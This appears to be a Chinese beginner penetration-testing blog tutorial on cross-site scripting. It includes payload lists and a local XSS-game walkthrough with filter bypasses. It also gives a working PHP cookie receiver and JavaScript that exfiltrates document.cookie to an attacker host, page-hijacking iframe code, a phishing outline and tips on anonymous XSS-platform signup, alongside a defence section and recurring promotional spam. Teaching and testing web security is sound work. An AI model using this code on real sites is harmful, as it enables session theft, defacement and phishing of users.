【网络安全渗透测试入门】之XSS漏洞检测、利用和防御机制XSS游戏(非常详细)收藏这一篇就够了!
一、前言
这是我给粉丝盆友们整理的网络安全渗透测试入门阶段XSS攻击基础教程。
本教程主要讲解XSS漏洞检测、利用和防御机制。
喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。
Web的安全问题越来越严重,漏洞总是在不停的出现,而我们以前一直在做的都是打补丁,就这样漏洞、补丁、补丁、漏洞的恶忄生循环着。其实很多的攻击都是可以预防的,只要我们做好前期的工作。
我给大家准备了全套的《网络安全入门+进阶学习资源包》包含各种常用工具,网络攻防黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
二、JS代码的调用方式
前面的文章我们了解到,javascript有能力操控浏览器并且可以在用户无感的情况下执行一系列恶意攻击的操作。所以大白在开始进行XSS漏洞检测手法讲解之前,需要粉丝们先了解一下JS代码他是如何被网页调用并且执行的。
JavaScript调用网页的手法一共有3种:
-
事件法
-
标签法
-
伪协议法
事件法
HTML4的新特性之一是事件,它使得用户在对网页进行一些操作时,可以触发js代码,从而达到更好的交互效果。比如:
<!DOCTYPE html>
<html>
<body>
<img id="image" src="/i/eg\_smile.gif" />
<input type="button" οnclick=change() value="修改"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<input type="button" οnclick=back() value="还原"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<script>
// 点击 修改 时调用的js代码
function change(){ document.getElementById("image").src = "/i/porsche.jpg"; } // 点击 还原 时调用的js代码 function back(){ document.getElementById("image").src = "/i/eg\_smile.gif"; } </script> <p>原始图像是 eg\_smile.gif,但脚本将其更改为 porsche.jpg</p> </body> </html>
在前端开发中通常包含非常多的事件类型,感兴趣的可以去看看:
HTML 事件 | 菜鸟教程
标签法
在HTML语言中,不同的标签代表不同的功能,这里面就有一个标签用来运行javascript脚本的:
<script></script>
我们通过这个标签,就可以导入javascript代码。标签法导入js代码,它有两种形式:
-
可以直接在标签对之间写js代码
<script> //在标签对之间书写js代码 alert(1); </script>
-
然后通过src属性,导入js文件
<script src='target.js'></script> // src可以是相对路径,也可以是超链接 <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
特别需要注意的是,这两种形式只能二选一来使用。
协议法
通常伪协议(Pseudo-protocols)是一种用于URL(统一资源定位符)中的特殊协议标识符。注意它们不是真正的协议,而是在特定的上下文中执行特定的操作或触发特定的行为。
伪协议的种类非常多,常用的就包括:dict伪协议、gopher伪协议
php伪协议、data伪协议、等等。而在触发js代码的伪协议中,重点要说两种:
javascript:
<a href="javascript:alert(1)"></a>
data:
<script src="data:text/javascript;base64,YWxlcnQoMSk="></script>
通过这两种方式都能触发执行js代码
三、XSS漏洞挖掘思路
我们在挖掘XSS漏洞的时候,只需要去找能够输入内容的地方,比如:表单字段、查询字符串、URL参数、Cookie、HTTP头等用户可以输入内容的地方,在这些地方传入构造好的恶意代码,如果有代码被触发了,就说明这个点是存在XSS漏洞的。
1. 查询字符串
对于有搜索或者查询功能的网站,我们可以先简单判断输入的字符是否会在前端输出。如果有输出,那么我们就可以常去对这些输出的位置测试XSS漏洞
我给大家准备了全套的《网络安全入门+进阶学习资源包》包含各种常用工具,网络攻防黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
2. 数据提交表单
通常来说表单测试xss相对会复杂一些。因为表单会出现这两种情况:
-
我们提交数据之后,前端不会显示我们提交的表单信息。经典案例:
问卷调查、意见反馈信息等等
-
我们提交数据之后,前端会显示我们提交的表单信息。经典案例:
注册信息、留言信息、评论信息、订单提交信息等
对于这两种形式的表单,我们使用的测试方法会有所不同。
对于第一种形式,由于前端不会显示我们提交的表单信息,所以我们只能通过一些特殊的方式来进行测试:盲打
盲打是在我们不能直接看到回显时使用的一种的攻击手法,这个的核心目标是通过一些间接的证据来体现脚本被执行成功。这就好比SQL注入的盲注,在SQL盲注中,我们可以通过bool比较,让网页显示不一样的内容。可以让数据库休眠,延长网站的响应时间。XSS盲打也是借助这样的原理来实现,不过这个需要考验攻击者的js代码编写水平。
当然,也有简单的方式:借助XSS平台是否抓取到用户cookie来判断XSS漏洞是否存在。
XSS盲打实战案例:某网页漫画_xss实战
这样的方式,虽然能够成功实现 一个XSS盲打攻击,但是,需要提醒各位,使用XSS平台容易造成法律风险。所以在实际项目或src挖掘时,需要慎重使用。
对于第二种,我们直接使用正常的测试语句去进行测试就行了:
通过这样的方式就可以对前端有回显的表单进行XSS测试。这样我们就能够判断出表单是否存在XSS漏洞了。
3.Cookie、请求头等位置
cookie和请求头中的这些传参位置,通常容易被开发人员和安全设备忽略掉。这个是由于,一般cookie这些数据不会直接显示在前端页面上。但是这并不意味着这些地方就是安全的,一定不可能存在XSS的。
我们对Cookie等位置的测试,一般也都是以盲打为主
测试使用的语句
了解完需要测试点位之后,接下来就需要去构造测试使用的javascript语句了。这些构造通常由三种形式:
-
标签风格
借助各种标签来调用js代码,常用的标签由:svg,iframe,img ,script 等等
<svg onLoad svg onLoad="javascript:javascript:alert(303)"></svg onLoad> <iframe onLoad iframe onLoad="javascript:javascript:alert(296)"></iframe onLoad> <!--\\x3E<img src=xxx:x οnerrοr=javascript:alert(358)> --> <script>javascript:alert(356)</script\\x0B <script charset="\\x22>javascript:alert(357)</script>
直接在输入点传入完整的标签,这种方式主要用于网站将数据输出在了两个标签之间的情况
-
事件风格
通过闭合标签中的属性,实现向标签中插入新的属性或者事件
' οnerrοr=alert(1) \\\\ " οnfοcus=alert(1) autofocus=autofocus \\\\
如果你由仔细观察过标签风格中给出的xss语句,你会发现,其实在标签风格中就已经有不少poc是在借助事件来测试XSS了,它们和我们们现在说的这个的唯一区别就是,事件风格,不在受限于 <>字符了。我们是直接将数据插到了已有的标签中去实现攻击的
-
伪协议风格:
伪协议风格的使用条件相对来说要求比较严格,需要标签存在 href 属性或者网页能需要填写http连接。所以通常会借助 a 标签或者一些特殊的文档语法来测试:
<a href="javascript:alert(1)"> testxss</a> \[xsstest\](javascript:alert(1))
四、XSS的利用手法
XSS中最常见的攻击手段包括以下四点:
-
窃取用户信息
-
恶意重定向
-
篡改网页内容
-
发起钓鱼攻击
窃取用户信息
JavaScript可以在浏览器中获取用户的一些基本信息:cookie、个人资料等。这些实现的方式也并不复杂,最简单的方式如下:
- 通过vps搭建一个站点,要求如下:
- 任意用户能访问
- 接受2个传参:网址url地址和cookie,并将传递的参数进行base64解密
- 将域名+时间戳作为文件名,保存传递过来的cookie信息
实现代码如下:```
<?
if(isset($\_REQUEST\['cookieinfo'\]) && isset($\_REQUEST\["url"\]) ){
$info = base64\_decode($\_REQUEST\['cookieinfo'\]); $domain =base64\_decode($\_REQUEST\['url'\]); file\_put\_contents($domain.time().".txt", $info); echo "nice to get this message";
}else{ echo "hello world";
}
?>
```
- 构建xss攻击语句,要求如下:
1. 通过js获取目标站点的 cookie、host,并将这些信息进行base64编码
2. 创建span标签、form标签、iframe标签
3. span标签设置为 display:none ,并且添加 form标签和 iframe标签为子标签
4. 设置form标签,将数据提交到接受网站,并且按照接收平台的规则将数据进行组装
5. 设置form提交结果相应到iframe标签中
6. 将span标签添加到 html标签中,并且提交form标签
代码实现如下:```
(function(){
// 获得目标站点的信息
var cookieinfo = btoa(document.cookie);
var url = btoa(window.location.host.replace(":","\_"));
// 设置接受信息的站点
var target\_url = "http://192.168.226.1/phpinfo.php";
// 创建需要使用到的标签
var html = document.getElementsByTagName('html')\[0\];
var span = document.createElement("span");
var form = document.createElement('form');
var input1 = document.createElement("input");
var input2 = document.createElement("input");
// 设置form标签的基本属性
form.action = target\_url;
// 设置传递的值域1 :cookie信息
input1.name = "cookieinfo";
input1.type = "text";
input1.setAttribute("value",cookieinfo );
// 设置传递的值域2 :域名信息
input2.name = "url";
input2.type = "text";
input2.setAttribute("value",url)
// 将值域填充到form表单中
form.appendChild(input1);
form.appendChild(input2);
// 创建一个iframe,用于接受form表单提交后返回的数据
var iframe = document.createElement("iframe");
iframe.name = "\_test";
// 设置form的target,实现隐藏form回显的问题
form.target = iframe.name;
// 将form 和 iframe 都填充到 span 中
span.appendChild(form);
span.appendChild(iframe);
// 将 span 标签隐藏
span.style.display = "none";
// 然后将表单都填充到html页面中
html.appendChild(span);
// 提交表单
form.submit(); })()
```
通过这样的方式,就可以简单的实现用户数据窃取。当然,这样的代码比较丑陋(开发能力有限,见谅),在实际测试的时候有更优解:XSS平台
xss平台的作用和上面的功能是一样的。它是别人开发好的一套相对优雅的解法。但是,需要注意一点:公共XSS平台是不安全的,XSS平台的维护人员是能从XSS平台的后台获取所有打到该平台的XSS信息。
所以如果在实际项目中,项目对数据的保密性有要求,切忌使用公开XSS平台。
不过还是不能绕过XSS平台的简介,这里以 xsscom.com 平台为例,进行讲解,大部分的XSS平台都是大同小异的:
首先访问站点,之后进行一个注册。因为国内政策的原因,现在大部分的XSS平台注册都需要邀请码,同时需要使用邮箱进行注册。邀请码这个东西,没辙,不过现在有一部分的XSS平台是不限制邮箱的,所以我们可以通过临时邮箱来注册这些平台。(攻防中,一定要保护还好自己的个人隐私)
我给大家准备了全套的《网络安全入门+进阶学习资源包》包含各种常用工具,网络攻防黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
(如何获取临时邮箱?你猜猜看)
注册完成之后,使用账户进行登录,我就不在截图了。登录成功之后创建一个项目。一部分XSS平台对项目创建和数据存储有限制,这个自行探索。
创建 → 项目名称、描述 → 勾选模块(默认模块(必勾)、XSS.js(必勾)、基础认证钓鱼模块(可选)) → 完成
当创建完项目之后,将会得到一个代码页面,拖到最下面,就会有XSS平台的利用方法:
然后将这些利用方式,替换我们的XSS检测点的无害XSS,就能实现 基础的Cookie窃取:
这个解法,就很优雅了。唯一的缺点是:使用的是公共XSS平台。信息保密性无法保证。
恶意重定向
这个理解起来也很简单:就是通过向网页插入一串JS代码,让网页自动跳转到指定的网站中。
window.location.href="http://192.168.226.1"
当然,这个方式并不够优雅,因为这个跳转之后,浏览器地址栏的内容也会发生变化。这个迷惑性相对来说比较低,只要稍微注意一点,就能发现网站发生了异常。
篡改网页内容
所以就有了更优雅的攻击方式:篡改网页内容。在不修改地址栏的内容,实现对网站内容的篡改。
这里介绍一个新的平台:xssaq.com。这也是一个XSS平台,只不过它更加的暴力和优雅:
而我刚刚说的篡改网页你内容,就能通过他的一项配置来实现:
通过这个配置,就可以再不修改地址栏的内容。将网站重定向到指定的url中。在没有去看他的实现代码之前,我想到的思路是这样的:
- 通过js将原来的body给删除
- 通过js创建一个form表单,然后请求目标地址
- 通过js创建一个 iframe 标签,用来接收form表单的返回结果。
- 重新生成body,并且将form和iframe插入body标签。将body插入到html标签
在模仿Cookie窃取的思路来实现这个攻击。实现一下这个代码:
(function(){ var body = document.getElementsByTagName('body')\[0\];
body.parentNode.removeChild(body); var html = document.getElementsByTagName("html")\[0\]; body = document.createElement("body"); html.appendChild(body); var iframe = document.createElement("iframe"); iframe.name = "\_test"; var form = document.createElement("form"); form.action="https://www.anchorubik.com"; form.method="get"; form.target = iframe.name; body.appendChild(form); body.appendChild(iframe); iframe.style.cssText = "position:absolute;"+ "z-index:100000;"+ "width:100%;height:100%;"+ "frameborder=no;scrolling:no"; form.submit();})()
不过这个代码实现的并不优雅。因为当遇到一些站点,不允许iframe跨域调用时,页面就会报错。而且,如果目标站点使用的是https时,重定向的目标站也必须使用https。
然后我就去看了一眼xssaq平台是怎么实现的。嗯,我思路是没有错的:
不过我尝试着直接拿上面的这一串代码放到浏览器中打self xss,发现效果没有上面的代码好。稍微修改一下自己的代码,然他显得不那么丑陋
(function(){
var html = document.getElementsByTagName("html")\[0\]; html.removeChild(document.getElementsByTagName("body")\[0\]); var body = document.createElement("body"); body.style.cssText="scrolling:no"; html.appendChild(body); var iframe = document.createElement("iframe"); iframe.src="https://www.anchorubik.com"; body.appendChild(iframe); iframe.style.cssText = "position:absolute;"+ "z-index:100000;"+ "width:100%;height:100%;"+ "frameborder=no;scrolling:no"; })()
优雅,不过如果细心一点还是能发现问题: 在网页上的操作,地址栏的内容将维持不变
发起钓鱼攻击
在了解了串改网页内容攻击的原理之后,还想要进一步攻击,那不就是钓鱼了?而有了篡改网页内容的基础之后,接下来要钓鱼还不是轻轻松松?
- 通过在自己的vps上模仿搭建目标站点的登录页面。
- 在自己的vps中实现以下功能:
a. 将用户提交的数据转发到原网站
b. 如果登录成功,则将数据保存在本地。并且不在劫持页面。
c. 如果登录失败,则将响应信息返回给目标用户,知道用户登录成功
思路有了,接下来就是代码实现来了:我觉得这个时候,各位应该可以拿起cs了。cs有一个钓鱼模块,能够轻松复刻目标站点,并且实现键盘记录。通过XSS篡改目标网站到我们cs生成的网站,能够完美实现钓鱼。
具体的实现方式,我这里就去写了,有点懒,在这里我想讨论另一个东西:如果目标站点存在XSS漏洞,我已经能够通过XSS获取目标的Cookie了,还有必要去钓鱼吗?
五、XSS漏洞修复建议
1、防堵跨站漏洞,阻止攻击者利用在被攻击网站上发布跨站攻击语句
不可以信任用户提交的任何内容,首先代码里对用户输入的地方和变量都需要仔细检查长度和对”<”,”>”,”;”,”’”等字符做过滤;其次任何内容写到页面之前都必须加以encode,避免不小心把htmltag弄出来。这一个层面做好,至少可以堵住超过一半的XSS攻击。
2、cookie防盗
首先避免直接在cookie中泄露用户隐私,例如email、密码等等。其次通过使cookie和系统ip绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,不可能拿来重放。
3、尽量采用POST而非GET提交表单
POST操作不可能绕开javascript的使用,这会给攻击者增加难度,减少可利用的跨站漏洞。
4、严格检查refer
检查httprefer是否来自预料中的url。这可以阻止第2类攻击手法发起的http请求,也能防止大部分第1类攻击手法,除非正好在特权操作的引用页上种了跨站访问。
5、将单步流程改为多步,在多步流程中引入效验码
多步流程中每一步都产生一个验讠正码作为hidden表单元素嵌在中间页面,下一步操作时这个验讠正码被提交到服务器,服务器检查这个验讠正码是否匹配。首先这为第1类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能发起下一步请求,这在第2类攻击中是几乎无法做到的。
6、引入用户交互
简单的一个看图识数可以堵住几乎所有的非预期特权操作。
7、只在允许anonymous访问的地方使用动态的javascript。
8、对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。
9、内部管理网站的问题
很多时候,内部网站往往疏于关注安全问题,只是简单的限制访问来源。这种网站往往对XSS攻击毫无抵抗力,需要多加注意。
虽然XSS的攻击很灵活,只要我们能做好上述几点,是可以组织大部分XSS的,再及时打好补丁可以最大程度的减少来自跨站脚本攻击XSS的威胁。
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
我给大家准备了全套的《网络安全入门+进阶学习资源包》包含各种常用工具,网络攻防黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
六、Xss小游戏通关攻略
实验环境:xss小游戏源码+phpstudy
源码地址:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip
实验步骤:启动phpstudy,浏览器访问127.0.0.1/xss/后提示点击图片进入第一关。
第一关:输入的变量直接被输出,直接构造payload即可。
http://127.0.0.1/xss/level1.php?name=
http://127.0.0.1/xss/level1.php?name=test‘
第二关:搜索框的XSS,输入的变量直接输出到input标签内,闭合input标签,构造XSS,备注:echo语句输出到页面时使用了htmlspecialchars函数。
payload: http://127.0.0.1/xss/level2.php?keyword=test">
第三关:输入的变量被htmlspecialchars函数处理了,这个函数处理的字符有< > " ,没有处理单引号,因此利用单引号构造payload,先通过单引号闭合value
第四关:大于号 小于号 被过滤了,构造不包含这两个符号的payload,value的值与第三关有所差异,这里需要使用双引号用于闭合value标签
(http://127.0.0.1/xss/level3.php?keyword=%27%20rel=)
http://127.0.0.1/xss/level4.php?keyword=test"οnmοuseοver=‘alert(1)
http://127.0.0.1/xss/level4.php?keyword=test%22%CE%BFnm%CE%BFuse%CE%BFver=%27%20rel=
“http://127.0.0.1/xss/level4.php?keyword=test"οnmοuseοver='alert(1)”)’
第五关:<script 和on被替换了,构造不含这两个的payload
127.0.0.1/xss/level5.php?keyword=find a way out!1">
第六关:比第五关过滤的东西更多,包括了src data href ,可以把这些关键字大写,以绕过这些过滤,payload: http://127.0.0.1/xss/level6.php?keyword=break it out!1">
第七关:增加strtolower函数把输入变量转成了小写,但过滤的字符强制变成空格,可以使用,中间的script变成了空格,正好变成了
127.0.0.1/xss/level7.php?keyword=move up!1">alert(1)
第八关:input中输入的变量通过htmlspecialchars被处理了,且双引号被替换成空,无法通过双引号闭合value。这里的输入被添加至超链接中,直接构造payload:javascript,对其中的字母进行实体编码
搜索框中输入 javascript:alert(1) 点击添加到友情链接,点击链接
第九关:上一关的基础上,判断输入的链接是否包含http://,因为用的是strpos函数,没有限制必须是开始的位置,所以在上一关的基础上,修改payload为 javascript:alert(‘http://’)
第十关:keyword变量没办法构造payload,发现隐藏变量t_sort,可以被写入,但过滤了大于小于号,构造不含大于小于号的payload,类型改为text,具体如下:
[http://127.0.0.1/xss/level10.php?t_sort="οnmοuseοver='alert(1)'type="text](http://127.0.0.1/xss/level10.php?t_sort=%22%CE%BFnm%CE%BFuse%CE%BFver=%27%20rel= "http://127.0.0.1/xss/level10.php?t_sort=“οnmοuseοver='alert(1)'type=“text”)”
第十一关:查看源码:可以看到t_ref的value是我们访问这个网页的referer值,故可以抓包修改referer,在referer后加入” οnmοuseοver=‘alert(1)’ type=“text”。
第十二关:查看源码,$str33最初是由HTTP_USER_AGENT过滤< > 而来,修改User-Agent,在后面加上" οnmοuseοver=‘alert(1)’ type=“text”。
第十三关:同上,查看源码,$str33最初是由cookie过滤< > 而来,修改cookie,在后面加上" οnmοuseοver=‘alert(1)’ type=“text”。
第十四关:网站已经打不开,略过
第十五关:angularjs的ng-include
http://127.0.0.1/xss /level15.php?src=‘level1.php?name=test<img src=1 οnerrοr=alert(1)>’
第十六关:script / 空格被过滤了 ,用%0d换行符绕过
http://127.0.0.1/xss/level16.php?keyword=%3Cimg%0dsrc=1%0dοnerrοr=alert(2)%3Ealert(2)
http://127.0.0.1/xss /level16.php?keyword=<img%0Dsrc=1%0Dοnerrοr=alert()>
http://127.0.0.1/xss /level16.php?keyword=<img%0asrc=1%0aοnerrοr=alert()>
http://127.0.0.1/xss /level16.php?keyword=<img%0asrc=x%0donError=alert(‘xss’)>
http://127.0.0.1/xss /level16.php?keyword=<iframe%0asrc=x%0dοnmοuseοver=alert’1’>
http://127.0.0.1/xss /level16.php?keyword=<svg%0aοnlοad=alert’1’>
第十七关:arg01和arg02 被htmlspecialchars过滤了,通过οnmοuseοver='alert(1)'绕过。
http://127.0.0.1/xss/level17.php?arg01=a&arg02=%20οnmοuseοver=alert%282%29
第十八关:同十七,直接把arg02 设置为οnmοuseοver=‘alert(1)’
http://192.168.40.128/xss/level18.php?arg01=a&arg02= οnmοuseοver=alert(2)
第十九关和二十关属于Flash xss,略过。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
相关文章:

【网络安全渗透测试入门】之XSS漏洞检测、利用和防御机制XSS游戏(非常详细)收藏这一篇就够了!
一、前言 这是我给粉丝盆友们整理的网络安全渗透测试入门阶段XSS攻击基础教程。 本教程主要讲解XSS漏洞检测、利用和防御机制。 喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。 Web的安全问题越来越严重,漏洞…...

[ComfyUI]Flux:超赞古风少女LORA,唯美江南水乡小桥流水轻舟江南美人
在数字艺术的世界里,ComfyUI的Flux技术再次展现了它的独特魅力。这次,它带来了一个全新的古风少女LORA模型,让用户能够轻松地创作出唯美江南水乡的场景,感受江南的韵味和小桥流水的诗意。 ComfyUI的Flux技术结合了先进的图像处理…...

从蚂蚁金服面试题窥探STW机制
背景 在Java虚拟机(JVM)中,垃圾回收(GC)是一个至关重要的机制,它负责自动管理内存的分配和释放。然而,垃圾回收过程并非没有代价,其中最为显著的一个影响就是STW(Stop-T…...
【MySQL数据库】MySQL高级语句(SQL语句进阶版)
文章目录 SQL语句进阶版MySQL查询数据的过程一、连接与身份验证二、查询缓存(MySQL 8.0之前版本)三、查询解析与优化四、查询执行五、返回结果 MySQL语句准备环境创建 location 表并插入数据创建 store_info 表并插入数据查询示例 语句示例SELECTDISTINC…...

Milvus 到 TiDB 向量迁移实践
作者: caiyfc 原文来源: https://tidb.net/blog/e0035e5e 一、背景 我最近在研究使用向量数据库搭建RAG应用,并且已经使用 Milvus、Llama 3、Ollama、LangChain 搭建完成。最近通过活动获取了 TiDB Cloud Serverless 使用配额ÿ…...
springboot集成jsoup解析xml文件
springboot集成jsoup解析xml文件 1、引入依赖2、xml转成需要的map结构3、测试数据 1、引入依赖 <dependency><groupId>org.jsoup</groupId><artifactId>jsoup</artifactId><version>1.16.2</version></dependency>2、xml转成需…...

基于Springboot相亲网站系统的设计与实现
基于 Springboot相亲网站系统的设计与实现 开发语言:Java 框架:springboot JDK版本:JDK1.8 服务器:tomcat7 数据库:mysql 5.7 数据库工具:Navicat11 开发软件:idea 源码获取:https…...
解决提示”warning C317 attempt to redefine macro ‘XX‘“问题
今天来分享一个之前在开发时候遇到的一个告警,是一个关于不正当使用宏定义产生的告警。 先看告警提示:warning C317: attempt to redefine macro ‘WIFI_UART_SEND_BUF’; 意思是该宏定义存在重新定义; 而为什么编译器会这样提示…...
3D图片动画效果组件封装
1.效果 3D图片动画效果 2.组件部分 import "./index.less"/*** 3D图片动画效果* pictures: 图片数组[封面,英雄,标题]*/ export const Picture3D (props: any) > {console.log("3D图片动画效果", props)return <divclassNamepicture3DonClick{prop…...

高级优化算法之 fminunc函数 实践
说明 在本专栏机器学习_墨#≯的博客-CSDN博客前面几篇文章中,大多采用梯度下降法来求解。其实还有很多的高级优化算法可以用来求解回归和分类问题,本文就是在吴恩达机器学习视频课程[1]的启示下,想要简单尝试一下Matlab自带的无约束多变量函数…...
1.5 ROS架构
到目前为止,我们已经安装了ROS,运行了ROS中内置的小乌龟案例,并且也编写了ROS小程序,对ROS也有了一个大概的认知,当然这个认知可能还是比较模糊并不清晰的,接下来,我们要从宏观上来介绍一下ROS的…...

Redis Search系列 - 第四讲 支持中文
目录 一、支持中文二、自定义中文词典2.1 Redis Search设置FRISOINI参数2.2 friso.ini文件相关配置1)自定义friso UTF-8字典2)修改friso.ini配置文件 三、实测中文分词效果 一、支持中文 Redis Stack 从版本 0.99.0 开始支持中文文档的添加和分词。中文…...
架构师备考-架构图设计案列
本文中所涉及的架构图主要参考软考-架构设计师历年Web 架构设计案例真题,在其基础上进行补充说明。 历年软考架构师案例题-Web架构设计考点 2014 MVC 架构2015、2016 J2EE 架构2017 经典网络架构2018 SOA 架构2019 分布式架构2020 SSM 架构2021 云平台架构2022 物…...
专业级Facebook直播工具推荐:提升你的直播体验
随着社交媒体的迅速发展,直播已成为现代内容传播的重要方式。Facebook作为全球最大的社交平台之一,为用户和企业提供了丰富的直播功能,吸引了众多观众和参与者。在这个竞争激烈的环境中,如何打造高质量的直播内容显得尤为重要。本…...
【NodeJS】NodeJS+mongoDB在线版开发简单RestfulAPI (三):Cors的设置及.env文件的设置
本项目旨在学习如何快速使用 nodejs 开发后端api,并为以后开展其他项目的开启提供简易的后端模版。(非后端工程师) 由于文档是代码写完之后,为了记录项目中需要注意的技术点,因此文档的叙述方式并非开发顺序࿰…...

[python flask 数据库ORM操作]
一、链接数据库 我们选择的框架是flask-sqlAlchemy 这个框架是对pymysql的封装。 连接数据库 #导入包 from flask_sqlalchemy import SQLAlchemy #创建flask app对象 app Flask(__name__) #设置配置信息 HOSTNAME "localhost" PORT 3306; USERNAME "root&…...
【JavaScript】如何优雅的编码if判断中的一个变量多个或条件
前言 你是否写过这样代码: ...if (status 1 || status 4 || status 6)...代码场景是这样的,记录有多个状态,当状态等于1,4,6时要做相同的逻辑。今天我们就分享一下如何简化写法,让代码更好看,更优雅。 使用 switch 语句 ...…...

SaaS云诊所系统源码,基于云计算技术的SAAS模式诊所管理系统,适用于诊所、门诊、卫生服务站、卫生站
SaaS云诊所管理系统源码,门诊管理系统源码,诊所药店云平台源码 云诊所管理系统是基于云计算的SAAS模式诊所管理系统,全面适用于诊所、门诊、卫生服务站、卫生站、卫生所、中医馆、药店、私人个体诊所、中小型门诊、乡村卫生室、医务室以及社…...

字节,AI产品经理面试,拿下offer!
如果大家最近打算找ai产品经理这方面的工作,可以对照着脑图准备起来啦。 这篇文章给大家讲解两道高频问题: 1)AI产品经理和传统产品经理有什么区别 2)AI 产品经理的工作职责和能力要求是什么? 这两个问题看似简单&a…...

Postgresql pgsql 插件之postgis 安装配置
相关链接: pgsql编译安装 一、说明 postgis是pgsql最强大的几个插件之一,可以用于地理信息系统(gis)的搭建 二、插件安装启动 由于我的pgsql是编译安装的,所以插件也是编译安装,更加灵活。 1.进入到源…...

黑马Mybatis
Mybatis 表现层:页面展示 业务层:逻辑处理 持久层:持久数据化保存 在这里插入图片描述 Mybatis快速入门 
通过Wrangler CLI在worker中创建数据库和表
官方使用文档:Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后,会在本地和远程创建数据库: npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库: 现在,您的Cloudfla…...
Cesium1.95中高性能加载1500个点
一、基本方式: 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...

全球首个30米分辨率湿地数据集(2000—2022)
数据简介 今天我们分享的数据是全球30米分辨率湿地数据集,包含8种湿地亚类,该数据以0.5X0.5的瓦片存储,我们整理了所有属于中国的瓦片名称与其对应省份,方便大家研究使用。 该数据集作为全球首个30米分辨率、覆盖2000–2022年时间…...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...

pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)
目录 一、SQL注入 二、insert注入 三、报错型注入 四、updatexml函数 五、源码审计 六、insert渗透实战 1、渗透准备 2、获取数据库名database 3、获取表名table 4、获取列名column 5、获取字段 本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关࿰…...

学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2
每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...

VM虚拟机网络配置(ubuntu24桥接模式):配置静态IP
编辑-虚拟网络编辑器-更改设置 选择桥接模式,然后找到相应的网卡(可以查看自己本机的网络连接) windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置,选择刚才配置的桥接模式 静态ip设置: 我用的ubuntu24桌…...

嵌入式学习笔记DAY33(网络编程——TCP)
一、网络架构 C/S (client/server 客户端/服务器):由客户端和服务器端两个部分组成。客户端通常是用户使用的应用程序,负责提供用户界面和交互逻辑 ,接收用户输入,向服务器发送请求,并展示服务…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...